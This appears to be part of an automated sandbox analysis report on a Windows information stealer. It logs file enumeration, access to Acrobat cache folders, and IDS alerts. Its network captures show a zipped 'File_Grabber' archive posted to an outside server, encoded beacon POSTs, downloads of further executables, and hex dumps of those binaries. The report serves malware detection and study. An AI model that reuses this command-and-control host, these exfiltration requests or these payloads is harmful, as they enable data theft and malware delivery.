Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B8373280 FindFirstFileExW,FindNextFileW,FindClose,	9_2_00007FF8B8373280
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683970138 FindFirstFileW,CreateDirectoryW,CopyFileW,FindNextFileW,FindClose,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	11_2_00007FF683970138
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6839706C8 FindFirstFileW,CreateDirectoryW,CopyFileW,FindNextFileW,FindClose,_invalid_parameter_noinfo_noreturn,	11_2_00007FF6839706C8
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6839709A4 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,FindClose,	11_2_00007FF6839709A4
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF68396DDD8 wsprintfW,FindFirstFileW,wsprintfW,PathFindExtensionW,StrCmpIW,StrCmpIW,StrCmpIW,StrCmpIW,StrCmpIW,StrCmpIW,StrCmpIW,StrCmpIW,StrCmpIW,StrCmpIW,StrCmpIW,StrCmpIW,StrCmpIW,wsprintfW,FindNextFileW,FindClose,	11_2_00007FF68396DDD8
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF683961B60 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	11_2_00007FF683961B60

Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2843856 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screenshot.) M2 : 192.168.2.5:49808 -> 185.81.68.147:80

Posts data to a JPG file (protocol mismatch)

Source: unknown

HTTP traffic detected: POST /gg.php HTTP/1.1Host: 185.81.68.147Accept: */*Content-Length: 89184Content-Type: multipart/form-data; boundary=------------------------KP8UOnaSGiZUFlAIy5XNqtData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 4b 50 38 55 4f 6e 61 53 47 69 5a 55 46 6c 41 49 79 35 58 4e 71 74 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 6f 67 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4c 6f 67 46 69 6c 65 2e 7a 69 70 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 7a 69 70 0d 0a 0d 0a 50 4b 03 04 14 00 00 00 08 00 00 00 20 00 e5 18 d9 6a 07 00 00 00 05 00 00 00 2d 00 00 00 5c 46 69 6c 65 5f 47 72 61 62 62 65 72 5c 30 2e 31 2e 66 69 6c 74 65 72 74 72 69 65 2e 69 6e 74 65 72 6d 65 64 69 61 74 65 2e 74 78 74 33 e0 34 e4 e5 02 00 50 4b 03 04 14 00 00 00 08 00 00 00 20 00 bc a6 9f 68 07 00 00 00 05 00 00 00 2d 00 00 00 5c 46 69 6c 65 5f 47 72 61 62 62 65 72 5c 30 2e 32 2e 66 69 6c 74 65 72 74 72 69 65 2e 69 6e 74 65 72 6d 65 64 69 61 74 65 2e 74 78 74 33 e0 34 e2 e5 02 00 50 4b 03 04 14 00 00 00 08 00 00 00 20 00 3e 4d bf df 07 01 00 00 fc 02 00 00 21 00 00 00 5c 46 69 6c 65 5f 47 72 61 62 62 65 72 5c 31 2d 37 46 65 61 74 75 72 65 43 61 63 68 65 2e 74 78 74 5d 52 5b 12 03 21 08 f3 40 fb 81 22 a8 d3 fb df ab 24 b0 6d b7 e3 d4 95 47 42 80 6a 5b 6d 36 6f 1a 5f 6f 57 eb 71 4e d9 9b 36 be 3b 3c 56 f6 88 d7 c5 db 9a f0 b7 2b 02 e4 15 48 89 33 e3 3d 02 85 c8 8b 6c f3 87 55 23 76 c2 03 ce 15 2f e0 10 f5 f0 69 9c 59 3c 3d 32 80 19 f1 42 4d bc 3b b5 74 22 2c 32 85 d1 d4 84 1a c2 ca a9 16 51 0f 5b 69 0f aa 4c 6d 46 b6 f9 a8 db 4b 9b b0 4b 25 9b 93 77 95 12 20 57 61 52 c9 21 87 b1 66 62 70 c3 93 7d 1d 72 74 56 36 be 4e 69 73 56 ca 3b 27 80 3a ca 0e 84 59 17 33 67 75 03 ff 73 4a a9 04 1b 12 22 e5 a3 ed ce f8 47 e4 d4 b0 8b 1d d6 21 3a 67 ad d4 8b 8e 06 e7 06 be 5d 5b ca ed 3a 7b 9a 9c 43 ce d1 a9 d2 6a ae df f8 a0 f2 41 3e a9 83 0c a5 37 7b 79 da ab fe 69 eb c3 93 15 06 55 38 35 de b6 d3 f7 dc 81 51 f3 ae e9 5a 65 74 6e 30 7d fa 37 09 68 7c 03 50 4b 03 04 14 00 00 00 08 00 00 00 20 00 73 c5 8f 68 b9 00 00 00 c1 01 00 00 23 00 00 00 5c 46 69 6c 65 5f 47 72 61 62 62 65 72 5c 41 6c 74 65 72 6e 61 74 65 53 65 72 76 69 63 65 73 2e 74 78 74 ad 90 cd 0a c2 30 10 84 cf f5 3d 7a 6c 68 7e 4c 93 05 4f 1e 7d 07 21 4d 13 1a a8 4d 69 52 b1 e2 c3 5b 2d 42 41 2b 1e 3c 2d bb c3 32 f3 4d 1d 63 17 a0 1b 42 8d 82 e9 cf 4e 9b 80 4e fe ea 9a 46 21 ed 4f c0 18 05 04 40 93 3c c1 92 53 96 d4 3f 3c 7c 57 a1 05 cc a5 cc b1 10 54 40 4d 61 7c ec 9c 11 2e 68 3e 89 70 6b a7 d3 66 36 52 5a fb a1 8d 01 59 d7 1b eb 2f 8b 50 c7 4e f5 d1 45 e7 db 83 19 77 29 11 aa f4 43 4c c9 fe 39 91 b1 44 15 55 b5 cd 24 2d 75 c6 70 61 33 c5 a5 c8 30 23 9a 62 cc 05 67 f6 95 2d 25 f2 0d 71 d5 79 55 58 82 91 0f 60 7f 0e 3c d7 74 07 50 4b 03 04 14 00 00 00 08 00 00 00 20 00 46 aa 13 38 0b 00 00 00 09 00 00 00 61 00 00 00 5c 46 69 6c 65 5f 47 72 61 62 62 65 72 5c 43 5f 5f 57 6

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 26 Dec 2024 11:05:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Wed, 25 Dec 2024 01:47:03 GMTETag: "5a452f-62a0e67fff3c0"Accept-Ranges: bytesContent-Length: 5915951Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1c 09 0d a3 58 68 63 f0 58 68 63 f0 58 68 63 f0 13 10 60 f1 5f 68 63 f0 13 10 66 f1 ec 68 63 f0 13 10 67 f1 52 68 63 f0 9b eb 9e f0 5b 68 63 f0 9b eb 60 f1 51 68 63 f0 9b eb 67 f1 49 68 63 f0 9b eb 66 f1 70 68 63 f0 13 10 62 f1 53 68 63 f0 58 68 62 f0 c9 68 63 f0 4b ec 67 f1 41 68 63 f0 4b ec 61 f1 59 68 63 f0 52 69 63 68 58 68 63 f0 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 17 64 6b 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 94 02 00 00 58 02 00 00 00 00 00 d0 c0 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 05 00 00 04 00 00 49 2f 5b 00 02 00 60 c1 80 84 1e 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c c7 03 00 78 00 00 00 00 90 04 00 1c f4 00 00 00 60 04 00 08 22 00 00 00 00 00 00 00 00 00 00 00 90 05 00 68 07 00 00 c0 9d 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 9c 03 00 40 01 00 00 00 00 00 00 00 00 00 00 00 b0 02 00 50 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 10 92 02 00 00 10 00 00 00 94 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 42 26 01 00 00 b0 02 00 00 28 01 00 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 d8 73 00 00 00 e0 03 00 00 0e 00 00 00 c0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 08 22 00 00 00 60 04 00 00 24 00 00 00 ce 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 1c f4 00 00 00 90 04 00 00 f6 00 00 00 f2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 07 00 00 00 90 05 00 00 08 00 00 00 e8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 26 Dec 2024 11:05:18 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Tue, 24 Dec 2024 20:31:17 GMTETag: "f7c00-62a09febaef40"Accept-Ranges: bytesContent-Length: 1014784Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e2 4a 34 37 a6 2b 5a 64 a6 2b 5a 64 a6 2b 5a 64 ed 53 59 65 a1 2b 5a 64 ed 53 5f 65 6b 2b 5a 64 65 a8 a7 64 a1 2b 5a 64 65 a8 59 65 ac 2b 5a 64 65 a8 5e 65 b4 2b 5a 64 65 a8 5f 65 f5 2b 5a 64 ed 53 5e 65 b4 2b 5a 64 b2 af 5e 65 d8 2b 5a 64 c9 5d f0 64 a1 2b 5a 64 a6 2b 5b 64 b6 2a 5a 64 ed 53 5b 65 bf 2b 5a 64 b2 af 53 65 b5 2b 5a 64 b2 af 5a 65 a7 2b 5a 64 b2 af 58 65 a7 2b 5a 64 52 69 63 68 a6 2b 5a 64 00 00 00 00 00 00 00 00 50 45 00 00 64 86 05 00 15 1a 6b 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 5e 0b 00 00 3e 04 00 00 00 00 00 a8 a2 07 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 0f 00 00 04 00 00 00 00 00 00 02 00 60 80 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 10 9c 0e 00 58 00 00 00 68 9c 0e 00 f0 00 00 00 00 00 00 00 00 00 00 00 00 10 0f 00 24 96 00 00 00 00 00 00 00 00 00 00 00 b0 0f 00 b8 14 00 00 20 bf 0d 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 bd 0d 00 40 01 00 00 00 00 00 00 00 00 00 00 00 70 0b 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 7c 5d 0b 00 00 10 00 00 00 5e 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e2 44 03 00 00 70 0b 00 00 46 03 00 00 62 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 48 00 00 00 c0 0e 00 00 26 00 00 00 a8 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 24 96 00 00 00 10 0f 00 00 98 00 00 00 ce 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 b8 14 00 00 00 b0 0f 00 00 16 00 00 00 66 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

Source: Joe Sandbox View

IP Address: 185.81.68.147 185.81.68.147

Source: Joe Sandbox View

ASN Name: KLNOPT-ASFI KLNOPT-ASFI

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49708 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49708 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49716 -> 185.81.68.147:80

Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 49Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: GET /zx.exe HTTP/1.1User-Agent: Mozilla/5.0Host: 185.81.68.147Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: GET /TT.exe HTTP/1.1User-Agent: Mozilla/5.0Host: 185.81.68.147Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Source: global traffic	HTTP traffic detected: POST /data.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0Host: 185.81.68.147Content-Length: 133Connection: CloseCache-Control: no-cacheData Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
